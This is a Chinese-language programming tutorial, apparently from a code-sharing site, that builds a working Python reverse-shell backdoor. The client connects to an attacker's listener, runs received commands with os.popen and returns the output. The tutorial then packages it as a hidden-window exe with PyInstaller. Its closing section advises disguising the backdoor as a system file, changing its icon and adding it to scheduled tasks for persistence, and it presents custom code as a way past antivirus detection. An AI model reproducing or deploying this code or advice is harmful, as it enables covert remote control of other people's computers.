使用Python制作一個簡易的遠控終端
遠控終端的本質(zhì)
1、服務(wù)端(攻擊者)傳輸消息 ----> socket連接 ----> 客戶端(被攻擊者)接收消息
2、客戶端執(zhí)行消息內(nèi)容(即執(zhí)行服務(wù)端傳回來的命令)
3、客戶端傳輸執(zhí)行結(jié)果 ----> socket連接 ----> 服務(wù)端顯示命令執(zhí)行結(jié)果
python制作簡易的遠控
1、環(huán)境
環(huán)境:PyCharm 2021.1.1 x64 + python3.8
2、新建項目
打開pycharm,直接新建一個純python項目。

將main.py文件中原有的代碼全部清空。

3、編寫程序
(1)導(dǎo)入需要使用的包
# 導(dǎo)入所需要的包 import os from socket import *
(2)創(chuàng)建main并配置socket套接字信息
#導(dǎo)入所需要的包
......
if __name__ == '__main__':
# 1、服務(wù)端IP地址
IP = "192.168.6.142"
# 2、服務(wù)端監(jiān)聽的端口PORT
PORT = 9999
# 3、socket套接字
socket_info = (IP, PORT)
(3)創(chuàng)建連接方法
#導(dǎo)入所需要的包
......
def remote_control(info):
# 初始化socket連接
skt = socket(AF_INET, SOCK_STREAM)
skt.connect(info)
# 獲得客戶端角色,便于服務(wù)端執(zhí)行下一步操作
host = os.popen("whoami").read().strip()
# 將客戶端角色在每次輸入命令的都顯示,美化格式
tips = f"$({host}) "
skt.send(tips.encode())
if __name__ == '__main__':
......
# 4、連接
remote_control(socket_info)
(4)接收服務(wù)端傳入的數(shù)據(jù)(即命令)
# 導(dǎo)入所需要的包
......
def remote_control(info):
# 初始化socket連接
......
skt.send(tips.encode())
# 建立持續(xù)連接
while True:
# 接收服務(wù)端傳入的數(shù)據(jù)(即命令),以1024個bit為一個單位
data = skt.recv(1024)
# 將接收的數(shù)據(jù)進行utf-8解碼,并將左右空格去除
command = data.decode('utf-8').strip()
# 如果數(shù)據(jù)為exit,代表服務(wù)端想要斷開連接,直接退出程序
if command == 'exit':
skt.send("exit\n".encode())
exit(0)
if __name__ == '__main__':
......
(5)執(zhí)行服務(wù)端傳入的命令并將結(jié)果返回給服務(wù)端
# 導(dǎo)入所需要的包
......
def remote_control(info):
# 初始化socket連接
......
skt.send(tips.encode())
# 建立持續(xù)連接
while True:
# 接收服務(wù)端傳入的數(shù)據(jù)(即命令),以1024個bit為一個單位
......
if command == 'exit':
......
# 如果數(shù)據(jù)不為exit,執(zhí)行數(shù)據(jù)的內(nèi)容,即執(zhí)行服務(wù)端傳回來的命令,并將執(zhí)行結(jié)果存放在result中
result = os.popen(command).read()
# 將命令執(zhí)行的結(jié)果返回給服務(wù)端
skt.send((result + tips).encode())
# 關(guān)閉socket連接
skt.close()
if __name__ == '__main__':
......
代碼編寫完成!
(6)測試遠控終端的可用性
打開一臺kali虛擬機(IP為192.168.6.142)作為服務(wù)端,使用nc監(jiān)聽9999端口。



連接成功,遠控終端制作完成!
4、將python文件打包成exe文件
(1)pip工具安裝Pyinstaller模塊
Win+R打開運行 --> 輸入cmd打開命令窗口
pip install Pyinstaller

(2)切換命令行的路徑到需要打包的Python源文件的文件夾路徑下
cd 文件路徑

(3)打包python文件為exe文件
Pyinstaller -F -w 文件名.py



打包成功!
打包完成后,在要打包文件的同級目錄下會新增一個dist文件夾,exe文件就在dist文件夾中。


(4)測試exe文件的可用性
kali服務(wù)端監(jiān)聽端口。

點擊運行生成的exe文件。


連接成功!python制作遠程控制終端完成!
制作遠控終端的意義
本篇文章我們研究了python如何制作一個簡易的遠控終端,上篇我的文章研究了Java如何制作一個簡易的遠控終端。其實,我們制作的這個遠控終端就是一個后門程序。那么大家就想了,我們的CS跟MSF都可以生成后門程序,為什么我們還要自己制作呢?
這是因為,我們不僅可以通過自己制作了解遠控程序的原理。而且,由于CS跟MSF生成的后門程序特征比較明顯,很多殺毒軟件都會殺掉,即使沒有殺掉,兩三天以后也可能被殺軟殺掉,不能做到一個持續(xù)化的權(quán)限獲取,也就是權(quán)限維持。而我們自己制作后門程序,是我們自己寫的,并沒有被公開,殺軟就匹配不到我們的特征值,這樣殺軟就不會殺掉我們的后門程序。如果我們再將我們的后門名稱改為系統(tǒng)文件的名稱,再改變圖標,把后門程序添加到計劃任務(wù)中,這樣我們就可以做到一個很好的一個權(quán)限維持。
附完整代碼
# 導(dǎo)入所需要的包
import os
from socket import *
def remote_control(info):
# 初始化socket連接
skt = socket(AF_INET, SOCK_STREAM)
skt.connect(info)
# 獲得客戶端角色,便于服務(wù)端執(zhí)行下一步操作
host = os.popen("whoami").read().strip()
# 將客戶端角色在每次輸入命令的都顯示,美化格式
tips = f"$({host}) "
skt.send(tips.encode())
# 建立持續(xù)連接
while True:
# 接收服務(wù)端傳入的數(shù)據(jù)(即命令),以1024個bit為一個單位
data = skt.recv(1024)
# 將接收的數(shù)據(jù)進行utf-8解碼,并將左右空格去除
command = data.decode('utf-8').strip()
# 如果數(shù)據(jù)為exit,代表服務(wù)端想要斷開連接,直接退出程序
if command == 'exit':
skt.send("exit\n".encode())
exit(0)
# 如果數(shù)據(jù)不為exit,執(zhí)行數(shù)據(jù)的內(nèi)容,即執(zhí)行服務(wù)端傳回來的命令,并將執(zhí)行結(jié)果存放在result中
result = os.popen(command).read()
# 將命令執(zhí)行的結(jié)果返回給服務(wù)端
skt.send((result + tips).encode())
# 關(guān)閉socket連接
skt.close()
if __name__ == '__main__':
# 1、服務(wù)端IP地址
IP = "192.168.6.142"
# 2、服務(wù)端監(jiān)聽的端口PORT
PORT = 9999
# 3、socket套接字
socket_info = (IP, PORT)
# 4、連接
remote_control(socket_info)
以上就是使用Python制作一個簡易的遠控終端的詳細內(nèi)容,更多關(guān)于Python遠控終端的資料請關(guān)注腳本之家其它相關(guān)文章!
相關(guān)文章
Python 實現(xiàn)某個功能每隔一段時間被執(zhí)行一次的功能方法
今天小編就為大家分享一篇Python 實現(xiàn)某個功能每隔一段時間被執(zhí)行一次的功能方法,具有很好的參考價值,希望對大家有所幫助。一起跟隨小編過來看看吧2018-10-10
win10環(huán)境下python3.5安裝步驟圖文教程
本文通過圖文并茂的形式給大家介紹了win10環(huán)境下python3.5安裝步驟,需要的朋友可以參考下2017-02-02
Python模塊學(xué)習(xí) filecmp 文件比較
filecmp模塊用于比較文件及文件夾的內(nèi)容,它是一個輕量級的工具,使用非常簡單。python標準庫還提供了difflib模塊用于比較文件的內(nèi)容。關(guān)于difflib模塊,且聽下回分解2012-08-08
pycharm配置anaconda環(huán)境時找不到python.exe解決辦法
今天來說一下python中一個管理包很好用的工具anaconda,可以輕松實現(xiàn)python中各種包的管理,這篇文章主要給大家介紹了關(guān)于pycharm配置anaconda環(huán)境時找不到python.exe的解決辦法,需要的朋友可以參考下2023-10-10

